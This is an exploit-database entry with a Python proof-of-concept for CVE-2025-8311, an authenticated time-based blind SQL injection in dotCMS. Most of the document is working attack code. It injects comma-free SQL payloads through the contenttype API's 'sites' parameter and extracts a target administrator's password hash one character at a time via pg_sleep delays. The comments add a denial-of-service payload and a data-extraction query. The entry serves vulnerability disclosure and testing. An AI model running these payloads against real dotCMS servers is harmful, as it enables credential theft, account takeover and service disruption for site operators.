dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
Author: Matan Sandori (OSCP_ OSEP_ OSWE)
type: webapps
platform: multiple
port:
date_added: 2025-09-16
date_updated: 2025-09-16
verified: 0
codes: CVE-2025-8311
tags:
aliases:
screenshot_url:
application_url:
raw file: 52431.py
#!/usr/bin/env python3
# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
# Google Dork: N/A
# Date: 2025-09-09
# Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
# Vendor Homepage:*https://www.dotcms.com/
# Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
# Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
# Tested on: dotCMS v25.07.02-1 (Docker / Linux)
# CVE: CVE-2025-8311
# The application blocks the comma character, so a simple DoS payload like:
# ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
# will not work.
# Instead, a comma-free payload can be used, for example:
# ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A
# Example query for time-based extraction of data:
# ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1
# This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
# Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.
import sys
import time
import string
import urllib3
import requests
### User configuration
HOST="127.0.0.1:8443";
TARGET_ACCOUNT = "admin@dotcms.com";
SLEEP_TIME=10;
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI";
CHARS = string.printable;
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning);
def encode_all_characters(string):
return "".join("%{0:0>2x}".format(ord(char)) for char in string);
def send_request(payload=""):
payload = encode_all_characters(payload);
burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}";
burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"};
return requests.get(burp0_url, headers=burp0_headers, verify=False);
def send_sqli(q):
query = "') AND 1=(" + q + ") AND ('A' LIKE 'A";
return send_request(query);
def test_sqli():
print("[!] Checking target responsiveness...")
r = send_request();
if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text:
print("[-] Target did NOT return the expected JSON structure. Exiting.");
sys.exit(1);
print("[+] Target responded correctly.\n");
r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})");
if (not r.elapsed.total_seconds() >= SLEEP_TIME):
print("[-] Target did not pause as expected; Exiting.");
sys.exit(1);
def retrieve_password(TEMPLATE, CHARS):
CHARS = ":" + CHARS.replace(":", '');
output = "";
index = 1;
while True:
for character in CHARS:
query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character)));
r = send_sqli(query);
if (r.elapsed.total_seconds() >= SLEEP_TIME):
print(f"[+] Found character: {character}");
index += 1;
output += character;
break;
else:
break;
return output;
test_sqli();
print("[+] Target is Vulnerable to SQL Injection.\n");
TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'";
password = retrieve_password(TEMPLATE, CHARS);
print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");